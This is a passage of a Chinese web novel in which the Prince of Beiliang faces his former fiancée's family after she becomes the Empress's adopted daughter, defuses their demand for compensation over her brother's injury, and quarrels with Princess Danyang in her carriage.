只有王灵瑶和郑天泽先是楞了下,然后对视了一眼,都想到了同一件事,不约而同现出了喜色。 王灵瑶立刻对下人吩咐道:“快设下香案,迎接懿旨。” 仆人们忙抬出香案放在正院,刚摆好,几名宫女拥着一位女官就进了院。 女官手里捧着一个纯白色的卷轴,一进院就看到了丹阳公主。 不过她并没有对丹阳公主施礼,只是对着她微微叩首。 丹阳公主点点头表示回礼。 她对这个女官有些印象,是皇后身边之人,手里拿着的也确定是懿旨。 懿旨的颜色为单一的纯白色,与皇帝的明黄色圣旨有明显区别,通常不会轻易涉及政务,主要涉及后宫事务。 只是丹阳公主有些不明白,王灵瑶不是宫里的人,皇后怎么会给她下懿旨? 沈凡这时也在纳闷呢,据他所知王灵瑶和皇后并没什么关系。 此刻王灵瑶已跪在香案前,翘着浑圆的臀对那位女官施礼道:“臣巾帼将军王灵瑶接旨。” 女官展开懿旨宣读道:“巾帼将军王灵瑶蕙质兰心,在抵御突厥之战中屡立战功,深得本宫之心。 今本宫收王灵瑶为义女,特赐玉如意一对、金步摇一枝,锦绣华服五套以示本宫之悦,以彰着皇家荣幸,钦哉。” 懿旨一出,满院震惊…… 一点儿都不知情的王父激动得无以复加,一时间老泪纵横,怎么也没想到女儿能得到如此殊荣。 沈凡和丹阳公主则面露惊色。 他们一个作为王灵的前未婚夫,一个身为丹阳公主,竟对此事都毫无所知。 “呵呵呵……”郑天泽忍不住轻笑起来。 虽说他是知道这事的,却没想到这道懿旨来得正巧,刚好是在自己和王家被欺辱的时候。 偷瞄了眼沈凡,见他眼中露出惊讶之色,不由现出得意的神情。 这时女官已将懿旨交给了王灵瑶,说道:“王将军恭喜恭喜,皇后说了,明日你就可以进宫去谢恩。” 王灵瑶眼里冒光接过懿旨,激动的道了句:“臣王灵瑶,谢皇后隆恩!” 女官笑着点点头,这才转身来到丹阳公主面前,跪倒在地叩首道:“刚才奴婢身怀懿旨不便施礼,还请殿下见谅。” 丹阳公主问道:“王灵瑶成为皇后义女之事,本宫怎么从没听说过?” 女官回道:“殿下事务缠身,有些事您不知情。 皇后一直在关注巾帼将军,在巾帼将军出征前就召见过她,许诺立了功就会收她为义女。” “是这样,起来吧。”丹阳公主用手虚扶一下道。 另一边,沈凡这才明白其中的缘由,目光复杂地看了眼王灵瑶。 他倒不是忌惮王灵瑶的新身份,而是对王灵瑶这份隐秘的心思感到诧异。 她在出征之前就见过皇后,却从未对自己说过,如此一看她的心思是何其缜密,缜密到连自己都没透露过半句。 这也让沈凡第一次感到王灵瑶的可怕之处…… 第二十五章:喜悲交加的王父 女官传达完懿旨后,便带着众宫女离开了。 此时王家大院里一片欢腾,众家仆纷纷对王灵瑶道贺。 郑天泽上前轻轻抚摸着王灵瑶的秀发,眼中满是爱意。 王父则拉着宝贝女儿的手笑得合不拢嘴,真乃放在手里怕掉了,放在嘴里怕化了。 看到王家人喜悦的样子,水仙、倪福他们都愣在原地,不愿意接受这个事实。 负心女成了皇后的义女,身份和地位又上升了一大截,太没天理了! 水仙撅着小嘴来到沈凡身边轻声道:“王爷,小人得志而已,没什么看的,奴婢赔您回去吧。” 沈凡却笑了笑道:“急什么,银子还没要呢。” 言罢走到王灵瑶身前道:“巾帼将军,祝贺你了,本王要走了,不过走之前麻烦你把银子还了。” 见沈凡跟自己要银子,王灵瑶打量了眼沈凡,眼神明显比刚才多了几分清高。 不过她也知道,欠的银子还是要还的,于是回头看向郑天泽。 郑天泽明白王灵瑶的意思,虽然很肉疼,不过转念一想王灵瑶已经成了皇后的义女,拿出的这五万两银子有的是机会能弄回来的。 至于沈凡,以自己的家族势力加上王灵瑶这个新贵的势力早晚弄死他,到时候咱们新仇旧恨一起算! 想到这,郑天泽咬牙对身边一名护卫道:“去,到钱庄取五万两银票来。” 护卫应了声,往外走。 沈凡对着他的背影喊道:“骑快马去,本王就在这里等。” “哦。”那护卫下意识答应了声。 郑天泽这个气,不甘心的狠狠瞪了沈凡一眼。 见未婚夫意难平,王灵瑶心里也难受,对沈凡更有气了。 见有仆人把皇后赐的礼物拿给自己看,立刻心生一计。 当着沈凡的面挨个摆弄起来,摆弄的同时,还不忘把郑天泽和父亲喊来一起看。 郑天泽和王父心有灵犀,明白王灵瑶这是有意给沈凡添堵,故意大声炫耀着。 “女儿你看,这些锦服的织工真是好,一看就是宫里的手艺。 还有这两枚玉如意,一看就是上好白玉雕刻而成,少说也能值个万八千两银子。” “都是皇后的恩宠。”王灵瑶边说边瞄了眼沈凡。 郑天泽也道:“灵瑶你快看,这金步摇上还挂着四个金铃铛,轻轻一摇就会发出沙沙声,不刺耳又清晰可辨。 再配上这三颗绿色的宝石,你戴上一定好看,来,我现在就给你戴上。” 说到这时,郑天泽把金步摇插在了王灵瑶的发髻里。 “好看、好看、真是好看,一看着金步摇也是价格不菲。”一旁的王父应合道。 郑天泽笑道:“您说的太对了,只是皇后赏的这些宝贝不能用银子衡量,如果非要衡量,两个五万两银子都不换。” “对对对。” “哈哈哈……” 王父和郑天泽笑了起来,同时还看了眼沈凡。 这两人真是不是一家人不进一家门,神情猥琐的样子如出一辙。 王灵瑶来了个神补刀,在原地转了个圈,在金铃铛的脆响中道:“还是那句话,这都是皇后的恩典。” 言罢,还特意给了沈凡一个得意的眼神。 从小就见过大世面的沈凡,对皇后赏给王灵瑶的这些东西根本就看不上眼,静静地看他们表演。 倪福他们几人则不然,气得吹胡子瞪眼。 水仙小嘴一撇,发出一声轻哼道:“有什么了不起的?” 一旁的丹阳公主见状摇了摇头,暗道了句小人得志。 忽又觉得面无表情的沈凡有些可怜,他都这样了,自己还扣着那笔银子。 偌大的北凉王府就那么十几个仆人,五个护卫,还有个是瘸子。 爱心泛滥的丹阳公主很愧疚,决定把银票还给沈凡,走到沈凡身边道:“本宫回去了,别忘了交给你的差事。” 沈凡哪知道丹阳公主的心思,为了体现出根本就不在意王灵瑶的事,笑道:“放心吧殿下,别忘了我的银子。” 看到沈凡忽然又嬉皮笑脸的样子,丹阳公主反悔了,觉得自己是自作多情,把伸进袖中的手又抽了回来,没好气的道:“知道了。” 沈凡征了下,这小娘们怎么一提银子就翻脸? 王灵瑶、郑天泽自是听到了,互相对视了一眼,都察觉到沈凡和这位丹阳公主的关系有些微妙。 王灵瑶的心更是一震,感觉有些莫名的压气。 按照朝廷礼制,丹阳公主离开王灵瑶和郑天泽是要送的,带着王父对着丹阳公主施礼道:“恭送殿下。” 丹阳公主没给他们什么好脸色,只是礼节性点点头。 就在她要离开时,一个王家的仆人带着一个老郎中跑了过来,神色慌乱的对王父道: “启禀老爷,大事不好了,少爷……少爷他废了!” 听到这话,丹阳公主脚步停了下来,好奇发生了何事? “什么意思?”王父问道。 儿子被沈凡踢中了下身,他本以为不会有什么大事,现在隐约感到有些不好。 仆人怕被老爷迁怒,指着身边的老郎中道:“小人也说不太明白,还是让郎中跟您说吧。” 王父看向老郎中,跟他一样焦急的还有王灵瑶。 就见那个老郎中道:“不瞒王老爷,我刚才看了贵公子的伤,当时心就凉了半截,贵公子的下半身算是废了。” “废、废了,怎么废了?”王父颤声问。 老郎中摇摇头:“子孙根被踢断,子孙袋也破了。 虽说东西都在,可如果不割掉的话定会化脓而死,我就是来征询您的意见的,是割还是不割?” “啊……”王父目瞪口呆了一阵,猛然看向沈凡,声嘶力竭的叫道:“沈凡,我就这么一个儿子……老夫与你拼了!” 说着张牙舞爪奔着沈凡就扑了上来。 沈凡眉头一皱,很想给这老头儿也来上一脚。 又看他那么大年纪,生怕给他踢死了,只好往后退了几步。 徐盛、丁奉、韩当、周泰见状立刻护在自家主子身前,将王父挡住。 水仙则对着王父叫道:“你要干什么,你儿子差点把我打死,我还没找你算账呢。 话又说回来,谁不知道你儿子喜欢男人,要那子孙根也没有多大用。” “你个小丫头崽子,老夫弄死你!”王父又疯了似的去够水仙,被身材强壮的徐盛和丁奉再次拦住。 水仙则再次躲到了沈凡身后。 第二十六章:左右为难的丹阳公主 眼见自家老爷被北凉王的护卫拦住,王家的那些仆人互相看了看,想上去帮忙又不敢。 一是怕沈凡打他们,二来丹阳公主还在这里。 他们又不傻,明显看出丹阳公主是帮着沈凡的,这时去帮忙,万一丹阳公主怪罪下来恐怕小命不保。 况且这些仆人都知道水仙说的对,自家少爷要子孙根还真没多大用处,他用的是谷道。 有些仆人甚至还在心里窃喜。 王家俊平日不仅在外作威作福,在府里也是恶人一个,经常打骂下人,遭次报应完全就是活该! 再看丹阳公主,刚才的一幕看得她一阵膈应。 别看她还未婚嫁,可王家公子干的那种事还是听说过的,如今有不少浮夸子弟也喜欢这勾当。 父皇还曾下过旨意,严禁这种伤风败俗之事,只是这种事很隐蔽不好抓罢了。 早知道是这回事,就不看这个热闹了。 丹阳公主抬腿就要走,却看到王灵瑶已是跪在自己面前道: “殿下您先别走,您也都看到了,是沈凡将我的兄弟给打废了,还请殿下为我兄弟做主严惩他!” 就在这时,丹阳公主看到郑天泽正和王父耳语着什么? 王父听完后,连爬带滚也跪到自己面前喊道:“公主殿下,还请您给老夫的儿子做主啊!” 看着跪在脚下的这对父女,丹阳公主明白了,这一出是郑天泽出的主意,利用自己向沈凡施压。 换做以往,丹阳公主岂会中这一石二鸟之计,理都不会理他们,可现在却不同。 王灵瑶已经成了皇后的义女,如果自己置之不理,她与皇后说了,皇后问下来还真不太好交代。 可丹阳公主是真不想管这事,何况王家俊乃咎由自取,活该被踢! 想了想,看向沈凡用平和的语气问道:“北凉王,你怎么说?” 沈凡立刻从丹阳公主平和的语气里反应过来,她是在给自己摆平的机会。 一把将水仙从身后拉出来道:“殿下您看她身上的伤,当时情况紧急,如若我不及时出手,水仙恐怕已经死在这里了。” 见自家王爷发话,水仙立刻再次戏精上身,哭得梨花带雨指着身上的血道: “殿下啊……我家王爷说的没错,还请您给奴婢做主啊……” 王父吼道:“你那都是皮外伤,我王家确是断子绝孙了……公主殿下,还请您给小老儿做主!” “非也。”丹阳公主道:“我朝法度是王子犯法与庶民同罪,你儿不是王,干出的事却比王还霸道。 北凉王是在情急之下才伤了他,本宫看完全就是你儿子咎由自取。” “殿下,您怎么能这么说?”王父叫道。 丹阳公主脸一沉道:“怎么,你还敢质疑本宫吗?” 王父立刻怂了。 眼见爹爹败下阵,王灵瑶知道这个时候绝不能妥协,况且自己现在的身份已与以前大不相同,抬头看向丹阳公主道: “殿下,您要是这么说,臣就将此事禀告皇后,让她老人家评评理。” 丹阳公主轻哼一声道:“王灵瑶,你是在威胁本宫吗? 要知道你和北凉王都是朝廷的人,就应该顾及官体和朝廷的颜面,大事化小小事化了才好。” “这……”王灵瑶毕竟是新贵,有些露怯,见丹阳公主这么说,还真不敢继续反驳,用求助的眼神看向郑天泽。 郑天哲明白王灵瑶压不住丹阳公主了,当即对丹阳公主拱手施礼道:“殿下,您的话臣不认同。 臣刚才想了,是否将此事告诉我祖父,让他老人家也给评评理?” 丹阳公主犹豫了,其实她担心的就是这个。 王灵瑶能吓住,可这个郑天泽却不好唬。 皇后再加上个安国公,自己就更吃不消了。 想到这气势明显矮了一截,下意识问道:“那你想怎样?” 郑天哲心中一喜,看向王父。 王父会意,当即道:“老夫要让北凉王坐牢,如果我儿子真废了,还要赔偿我们王家银子。 至少……至少二十万两!” 听到这话,王灵瑶下意识看了看父亲,又看了看郑天哲,反应过来了,这些话一定是郑天哲教父亲说的。 王灵瑶猜对了,只是她不知道的是,郑天泽刚才告诉爹爹要十万两银子,没想到爹爹私自加码,直接翻了一倍。 一旁,郑天泽嘴角一抽,暗道老丈人比自己还黑! “你个老不死的,你怎么不去抢啊,还想让我们王爷坐牢,想什么呢?” 没等丹阳公主反应,水仙一如既往冲了出来,这次她是怒极了,指着王父的鼻子直接开骂。 “混账,混账,你竟然还敢骂我?”王父回骂了句,匍匐在地对着丹阳公主鼻涕一把泪一把的道: “公主殿下你也看到了,这个奴婢连我这么大的岁数的人都辱骂,这就是有什么样的主子,就有什么样的奴婢。” 丹阳公主皱起了眉,感到非常棘手。 虽说王家在漫天要价,可毕竟是王家公子被沈凡打残了,王家占着理。 加上背后又有王灵瑶和郑天哲的关系,她现在都不知道怎么帮沈凡了? 见丹阳公主露出为难的神情,王父拉着王灵瑶再次对她叩头,声嘶力竭的叫着:“请殿下做主……” 水仙见沈凡站在那不吭声,以为自家主子也没有脱身的办法,可她也没有什么好法子帮到主子,只知道在气势上绝不能输给王父这个老家伙。 扑通一下也跪在长公主面前,同样声嘶力竭的喊道:“公主殿下,还请您给我们家王爷做主啊……” 一时间十分混乱,把丹阳公主的脑袋都听大了。 站在他们身后的郑天哲笑了,他要的就是这般情景。 其实王家俊废不废他根本就不关心,只要能把沈凡架在火上烤就行,就算不能治他的罪,也能弄来一大笔银子。 看着眼前哭爹喊娘的王父,看到丹阳公主面露为难之色,沈凡的目光一凝。 他知道这个时候丹阳公主也帮不上自己了,在心里盘算着对策,很快就想到了应对之法。 第二十七章:以进为退化危机 “好了,都不要叫了,本王有话说。”沈凡轻喝一声,打断了院里的哀嚎。 此刻,所有人都把目光聚到了沈凡身上。 丹阳公主的眼里带着几分担心。 王父,王灵瑶,郑天泽的眼中则带着几分得意。 沈凡,现在连丹阳公主都保不了你,看你还能耍出什么花招? 沈凡理都不理王父,目光看向王灵瑶和郑天泽道:“本王看你们真是不识时务,刚才殿下都说了,我们都是朝廷的人,就应该顾及官体和朝廷的脸面。 可你们依然不依不饶,还要去找皇后,去找安国公评理,本王看你们是嫌事小。 也罢,那咱们就干脆来个大的。 过几日就是十五,皇上会叫一次大早朝,到时文武百官都会参加,咱们就直接把这件事捅到皇上那里。” 说到这时,沈凡用手点指郑天泽道:“本王会跟皇上说,你仗着是安国公的孙子,阻碍我讨要银两,殴打我府上仆人。” 沈凡又指向王灵瑶和王父道:“本王会向皇上禀报王家俊鞭打水仙是事,还会将王家俊干的那些龌龊事当着满朝文武公布。 想必你们也清楚,陛下曾下过明旨,严禁这等伤风败俗有悖伦理之事。 到时本王倒要看看你这个当父亲的,你这个当姐姐的能否逃过皇上的惩治?” “告到皇上那里就告到皇上那里,老夫还怕你?”王父急眼了,冲着沈凡喊道:“再说了,到时你也难逃朝廷律法。” “哈哈哈……”沈凡发出一阵爽朗的笑声道:“本王一人做事一人当,皇上要罚要关绝无二话。” “说得好!”听到沈凡这话,丹阳公主情不自禁应了声。 没想到他竟来了个以退为进,这些件事要是捅到父皇那里,无论哪一件都比沈凡踢伤王家俊要严重。 王灵瑶和郑天泽也会受到影响,关键是这种事连皇后和安国公也不好插手。 想到这,丹阳公主不由又看了眼沈凡。 以前怎么就没发现,他竟有这等豪迈之姿? “北凉王,你以为老夫是吓大的,我王家有巾帼将军,女婿是安国公孙……哎你们薅我干什么?” 王父曝起的反击戛然而止,发现女儿和郑天泽正在薅自己的袍子。 “您不明白朝廷的事,就别乱说话了。”郑天泽瞪着眼道。 “啊?”老头儿愣住了。 当他看到闺女也在瞪自己时,才意识到刚才沈凡说的那些话让他们害怕了,不过还是心有不甘的问:“有这么严重吗?” 王灵瑶咬着牙咬点点头,然后又看向郑天泽微微摇摇头。 郑天泽自然明白其中的意思,沈凡刚才的话已经在他脑子里转了好几圈,没想到这小子竟能想出这等狠招。 权衡利弊后,知道要是到了那一步,自己和灵瑶都将极为被动,弄不好连爷爷都得受牵连……不然灵瑶也不会暗示自己退。 郑天泽脸上的肉抽动着,先是用凶恶的眼神瞪了眼沈凡,然后走向丹阳公主。 他翻脸的速度堪比翻书,此时凶狠的眼神早已消失不见,取而代之的是带着歉意的笑意,抱拳施理道: “殿下,您刚才说的一点儿都没错,既然都是朝廷的人,就应该顾及官体和朝廷的脸面。 既然这件事臣与北凉王都有错,那就各打五十大板,臣的意思是赞同殿下的话,罢了。” “罢了?” 郑天泽身后的王父下意识喊道,发觉袍袖又被女儿抓住。 看着女儿再次对自己微微摇头,老头儿终于放弃了抵抗,知道这件事不是自己想怎样就怎样的。 丹阳公主先是楞了一下,没想到郑天泽能把无耻演绎到炉火纯青的地步。 感到一阵反胃的同时不由心中一喜,因为沈凡的法子奏效了。 不过她并没有说话,而是看向沈凡,意思是把事情的处理权交给他。 这个郑天哲应该去做个戏子……沈凡暗道了句,将刚才豪迈义愤的表情换做了笑脸,对着郑天泽道: “既然郑将军想明白了,本王自然也要听公主殿下的,罢了。” 郑天泽咬着牙对着沈凡拱拱手道:“多谢多谢,领教领教。” 沈凡拱手回礼道:“应该应该,彼此彼此,我们二人该再次拜谢丹阳公主殿下的点拨之恩。” 说完,沈凡就对着丹阳公主拱手施礼。 见此情景,郑天泽也只能学着沈凡对丹阳公主施礼,还拉上了王凌瑶。 看到郑天泽和王凌瑶憋成猪肝色的脸,丹阳公主笑了,笑得是那样开心,露出一口小白牙。 侧旁,水仙他们几人皆露出胜利者的笑容。 曾经当过沈凡父亲护卫的倪福感慨最深,发现若论聪明劲儿,小王爷似乎要比老王爷还要高一筹。 再看王父则低着头,耷拉着脸,要多悲凉有多悲凉。 可下一刻,他就被那个老郎中一句:“王老爷,您得赶快决定割还是不割?”的话豁然惊醒。 “真就没有别的法子了,要多少银子我都给,只要能保住命根子就是行。”不死心的王父哀求着。 老郎中叹了口气道:“割则活,不割则死,要绝断还要马上。” “哎呀!”王父哀嚎一声道:“带老夫去看看,不行就割吧!” 看着老郎中扶着王父去往内宅,沈凡轻声叹了口气,多少有些后悔。 没办法,当时王家俊打水仙打得太狠,自己情急之下就用了全力。 就在这时,一个身形高瘦的护卫从院外走了进来。 他径直来到郑天泽身边,从怀里小心地取出一沓银票道:“公子,取来了。” 郑天泽哪忍心看,低头侧脸,用手点指着沈凡道:“给给给——给他!” “天泽……”本来想跟父亲去看弟弟的王灵瑶放下了这个念头,抓住郑天泽的手安慰着,发现情郎的手很凉。 护卫来到沈凡身前,捧着银票道:“请北凉王查收。” 沈凡就要去接,忽然发现身旁的水仙正两眼冒光看着那些银票,道了句:“你收着吧。” “唉!”水仙忙不迭应了声,接过银票就数起来。 手指翻飞如蝴蝶翩翩起舞,俏脸笑意盈盈,仿若看到座座银山向自己迎面扑来。 张张银票在眼前, 心情瞬间变甜甜。 数来数去不嫌烦, 王府再也不缺钱。 嘻嘻嘻…… 第二十八章:要让沈凡知道我的手段 “王爷,都是一千两一张,正好五十张,五万两银子一两都不缺。”水仙笑语盈盈的道。 “收好。”沈凡道了句,看都不看郑天泽和王灵瑶尧二人,走到丹阳公主身边轻声道:“殿下,我送您回府吧。” 早就不想呆的丹阳公主点点头,在沈凡和众黑甲武士的护卫下向院外走去。 望着沈凡潇洒的背影,王灵瑶竟有些恍惚,不知为何心一阵乱跳。 他怎么变化这么大,这还是那个只知道对自己俯首帖耳,没志气的沈凡么…… 不对,他在变也没天泽好! 王灵瑶被自己吓了一跳,摇摇摇头想把这个念头赶出脑海,可今日沈凡的一举一动却始终在脑海里挥之不去。 除了把自己的弟弟打伤外,他今天压制天泽的举动是一环套一环,那样的从容不迫。 再看曾让自己引以为傲的天泽,竟然毫无还手之力,来时说过的大话都成了笑话…… “灵瑶,对不住,是我大意了,让你受委屈了。” 正这时,郑天泽温柔的嗓音和搂在自己肩头上的手,将王灵瑶的思绪瞬间拉了回来,也将她脑海里那些乱七八糟的念头冲散。 自己心仪的人是天泽,也只有天泽才配得上自己。 至于那个沈凡只不过是运气好,能耍些小聪明罢了。 王灵瑶抬头看向心上人道:“你不要这样说,为了我你都受了伤,没事了吧?” “我能有什么事,只是一时不慎,中了这小子的阴招罢了。”郑天泽笑道。 忽感小腹又一阵隐隐作痛,胃里一阵翻搅,好在已经吐干净了,只是干呕了一下。 “哎呀,我得去看看我弟。”王灵瑶这时才又想起王家俊。 郑天泽陪着王灵瑶来到内宅的时候,远远就听到屋里传来了王家俊的惨叫声。 走到门口的王灵瑶忽然停下来道:“我进去不方便,你替我进去看看。” “嗯。”郑天泽应了声,刚要进屋门本就被从里面打开了。 两个丫鬟扶着脸色苍白的王父走了出来,身后跟着那个正用湿毛巾擦手的老郎中,毛巾上沾着血。 “爹,家俊怎么样?”王灵瑶迎上前问。 王父表情痛苦至极的道:“我无后矣!” 虽然有心理准备,王灵瑶还是痛苦的闭一下眼,又问:“没有性命之忧吧?” 就见那老郎中道:“没有,老夫还按习俗将王公子的子孙根放在了瓦罐里,待王公子百年后一起入葬,下辈子还是个全人。” “有劳先生了。”王灵瑶摸出一锭银子给了老郎中 老郎中又说了些医嘱,辞别而去。 王玲瑶、郑天泽陪着王父走进房间,房里弥漫着一股浓烈的药味和血腥味。 王家俊躺在床上,身上盖着被单,脸色苍白,呼吸微又弱急促,手无力地搭在床沿上。 见弟弟额头上全是细细麻麻的汗水,王灵瑶抓住他细长又苍白的手道:“感觉怎样?” 王家俊苍白的脸上涌起一阵红晕,疲惫的眼神全是杀意,用发颤的手紧抓着王灵瑶的手道:“姐,我要杀了沈凡,我要他死!” 王灵瑶吃惊的看着弟弟。 她吃惊的不是弟弟要弄死沈凡,谁换成都会有这种想法。 她吃惊的是弟弟的嗓音变得比以前还要尖锐,就像是被捏住了嗓子眼儿,变得更加不男不女。 站在王灵瑶旁边的郑天泽知道,自己这个小舅子是彻底废了. 可他越是这样就越好被自己所用,将手放在王家俊额头上道:“不要急,安心养伤,我一定想法子帮你报仇。” “谢谢姐夫!”王家俊流下两行清泪 听到这话的王父也道:“天泽呀,报仇的事就靠你了。” 看到父亲和兄弟的眼睛都被愤怒冲红了,王灵瑶却看向郑天泽道: “你不会真想杀了沈凡吧,好歹他也是王爷,要小心后果。 再说我们在丹阳公主面前已经许诺,此事就此做罢,还是不要节外生枝的好。” 王灵瑶说这话是有自己的想法的,她想到了当年沈凡对自己有求必应,对父亲毕恭毕敬,对弟弟也是礼敬有加。 就算沈凡弄残了自己弟弟,也不至于要他的命。 郑天泽道:“我不是节外生枝,你明日进宫给皇后谢恩时,要把家俊的事告诉她。” 王父也道:“对对,让皇后娘娘给咱们做主。” 王灵瑶:“我刚成她的义女,就说这事不妥吧?” 郑天泽:“没什么不妥的,我们又不是告状,你只需做出憔悴的样子,皇后必会问缘由,到时说出来就好。” 王灵瑶:“皇后会管这事么?” 郑天泽:“家俊只是你的弟弟,她估计不会管。” 王灵瑶气呼呼的道:“那你还让我说?” 郑天泽:“你糊涂,说了她才能知道,你不但要把家俊为何受伤说了,还要把丹阳公主偏袒沈凡的事禀告了。” 王灵瑶:“牵扯到丹阳公主行么?” 郑天泽冷笑一声道:“你不知道,丹阳公主不是皇后所生。 听我爷爷说,为了太子她最忌讳皇族与臣子勾结,我是要借机也教训一下丹阳公主。 再说了你不要怕,皇后听了你的话后,就算不管心里也会偏向你,待以后沈凡出什么事的时候就有用了。” 王灵瑶:“你不会找沈凡拼命吧,我不想你为了他有什么事。” 郑天泽阴笑一声道:“报仇不都是打打杀杀,你看着吧,我要让沈凡知道我的手段。” “说得好!”王父赞道。 见此情景,王灵瑶也微微叩首。 只要有把握,她还是希望郑天泽能教训一下沈凡的。 只是她没有留意到,刚才郑天泽说这话的时候眼里杀意凛然。 …… 内城宽阔的街道上,在一队黑甲卫士的护卫下,一辆四匹骏马拉着的豪华马车行驶在上面 马车车身是由皇室专用的金丝楠木打造,上面镶金嵌玉,引得路人纷纷驻足,只是垂下的暗黄色帘子挡住了他们窥探的目光。 马车内部很宽阔,两排对向而设的软座上铺着厚厚的毛皮,中间放着一个小桌,上面放着果脯和熏香,空气里弥漫着淡淡的香味。 沈凡坐在温暖的毛皮上,目不斜视又神色严肃的看着对面的丹阳公主。 目不斜视是因为丹阳公主太漂亮了,坐在那仿佛一朵绽放的莲花。 身段玲珑浮凸,曲线诱人,一双清澈的眸子仿若冰镜,温柔似水又难掩高冷华贵。 神色严肃是因为长公主身边坐着的那个老宦官,自被公主邀请同乘一车后,就一直用防贼的眼神盯着自己。 尖瘦的下巴,花白的头发,一双锐利的眼睛,除了皮肉较为白晰细嫩外,从这股精气神上看,能推测出是个高手。 老家伙,你没觉得这车里就你多余么……沈凡心中骂道,脸上却对老宦官报以微笑。 老宦官像没看见般,依然戒备着盯着自己。 第二十九章:好男不和女斗 “北凉王,你今天做的不错,要回了银子,保住了北凉王府的颜面,让本宫高看一眼。” 丹阳公主嘴角含笑着道,嗓音却是冷冷清清。 “没有殿下为我撑腰,我做不到。” 沈凡也笑呵呵回道,可下一瞬又恢复了严肃的表情,因为他发现老宦官眼中冒出了寒光。 丹阳公主有所察觉,瞄了眼老宦官,然后看向沈凡道: “谈不上撑腰,一来你是本宫的属下,二来本宫正好赶上这事顺便帮帮,不过这回你是把郑天泽彻底得罪了。” 见丹阳公主提到了郑天泽,沈凡现出不屑一顾的神情道:“那是他自找的。” 丹阳公主“噗嗤”笑了声道:“是不是还记恨着夺妻之恨?” 沈凡摇头道:“一个巴掌拍不响,这种事没什么恨不恨的,再说只是未婚妻,都过去了。” “真的?” “真的。” “本宫怎么觉得不像真得呢?” “我说你怎么这么没意思?”眼见高贵的公主成了八卦婆,沈凡有些急眼了,皱着眉道。 突如其来的呵斥把丹阳公主弄愣了,她没想到沈凡敢和自己急。 那个老宦官也没想到,一个外姓王敢和公主这么讲话,看向自己的主子。 那意思很明显,就是但凡公主殿下有一点儿不高兴,他就会出手教训沈凡。 丹阳公主是不高兴,却没有发作,只是扬了扬眉,决定用另一种方法教训一下眼前这小子,轻叹了口气道: “本宫也是为你着想,得罪了郑天泽没什么,可是他爷爷安国公郑群山你是得罪不起的。” 沈凡不屑的道:“据我所知安国公得有八九十了吧,会管他孙子这点儿小事?” “会。”丹阳公主当即就否定了沈凡的话,换做低沉的语气道:“据本宫所知,这位安国公的儿孙是不少,可最喜欢郑天泽。 他是已经很老了,可脾气依然火爆,一点就着。 跟你说个事,五年前有个子爵在赌场上赢了郑天泽的钱,郑天泽把他给打了。 这个子爵就拿着欠条上门讨说法,结果被安国公打死了。 要命的是安国公有十多个丹书铁券,就算打死了子爵也只是搭上一张铁卷,赔了两万两银子就罢了,你怕不怕?” 沈凡是知道丹书铁券的,是皇帝用朱砂在一块铁板上写的,用来奖励给立了大功的臣子,百姓们管其叫免死金牌。 除了不免除谋逆、谋反这些危害皇权的罪行外,其它罪行都可以用铁券抵消。 父王就有三个,不过这东西不能世袭,自己用不上。 看着丹阳公主挑衅的眼神,沈凡揉捏着下巴道:“他要是敢打我,我一定还手,哪怕背上打老人家的恶名。” “咯咯咯……”丹阳公主笑得山峰乱颤,说道:“别吹牛,你应该打不过他。” 沈凡有些警觉的问:“安国公很厉害吗?” 丹阳公主瞄了眼身边的老宦官道:“高凤,你跟他说说。” 原来这老家伙叫高凤……沈凡看向他,就见高凤用三角眼盯着自己道: “安国公是我朝最能打的第一武士,越老越凶残暴虐不讲理,除了皇上太子谁的面子都不给。 擅使一对大铁锤,每个有七十斤重,加在一起足有一百四十斤。” “一百四十斤,他轮得动吗?”沈凡倒吸了口冷气道。 高凤冷笑一声道:“安国公天生神力,至老不衰,别看已经九十了,依然可以日进生米五斤,肉十斤。” 沈凡沉默了。 他自信能举起一百四十斤的锤。可要是抡起来打人,够呛。 至于日进生米五斤,肉十斤就更不行了,十斤肉得多大一坨,五斤生米煮熟了得多大一盆! “怎么,是不是感觉人外有人,天外有天?”说这话的是丹阳公主。 沈凡白了她一眼,没说话。 丹阳公主呵呵笑道:“不过你也不用怕,这丹书铁卷只能免他亲手杀人之罪,以后你见到安国公躲远点儿就是了。” 沈凡道:“难道他就没有弱点?” 丹阳公主看向高凤,这个问题她回答不了,因为不知道。 高凤想了想道:“十年前安国公犯过腿疾,应该是右腿……没错是右腿不好,平时走路时看不出来,若是跑起来就不行了。” 郑凡笑了:“那我还怕什么,要论腿脚他一定跑不过我。” 高凤给了沈凡一个鄙视的眼神。 见把沈凡吓住了,丹阳公主笑得更厉害了,心情很是愉悦,准备给这小子来个恩威并施,随便再拉拢一下,说道: “其实你不用想这么多,你现在是本宫的人,有什么事本宫还是会帮的。 且不说安国公,就算王灵瑶成了皇后的义女你也不必担心。 一个义女而已,况且本宫不是皇后嫡出,如果王灵瑶用皇后压你,你也可以来找本宫。” 说完这些话后,丹阳公主把身子往靠背上一靠,等着沈凡对自己施礼拜谢。 看着丹阳公主用一种和蔼可亲又高不可攀的神情看自己,沈凡才反应过来。 她跟自己说这些除了善意的提醒外,更多的是体现她高高在上的地位。 这小娘们儿哪都好,就是这点让人接受不了,还三番五次拿王灵瑶说事,纯心拿自己寻开心。 别人吃你这一套,我可不吃,我也要给你添点儿堵, 想到这,沈凡没好气的道:“殿下要是想帮我,就尽快把银子还我。” 正等着沈凡拜谢的丹阳公主怎么也没想到,这小子会来这一出,有种好心被当驴肝肺的感觉,顿时气得叫道: “沈凡,这已经是今天你第三次跟本宫提银子了,你把本宫当什么人了,还是那句话,把差事办好比什么都强!” 沈凡梗着脖子道:“银子是银子,差事是差事,还请殿下不要老混做一谈。” 丹阳公主气得花枝乱颤,瞪大眸子道:“你给本宫下车!” “下车就下车,这么厉害,谁要是娶了你可倒了八辈子血霉。”沈凡嘟囔了句,不待马车停稳,开车门就跳了下去。 “你说什么?” 丹阳公主虽然没听清沈凡说了什么,但直觉告诉她定不是什么好话,把脑袋探出车门追问道,气势非常吓人。 第三十章:女人心 沈凡一跳车和丹阳公主这一喊,把车外那些铁甲武士都惊到了,纷纷戒备起来,高凤更是把腰刀都拔出了一半。 一直跟着车队的水仙、倪福几人也被吓了一跳,不知发生了何事? 沈凡看向丹阳公主道:“我说下车就下车,别的什么都没说。” “你……”丹阳公主气得俏脸发白,可又抓不到沈凡的罪证,只好气汹汹的道: “沈凡你给本宫听好了,把差事给本宫办好了,银子自然少不了你的,不然绝不饶你!” 说完就狠狠关上车门,道了句:“回府。” 看着丹阳公主的车驾远去,水仙才敢凑到沈凡身边问:“王爷,刚才您和殿下还好好的,这是怎么了?” 沈凡:“没事,我们闹着玩儿呢。” 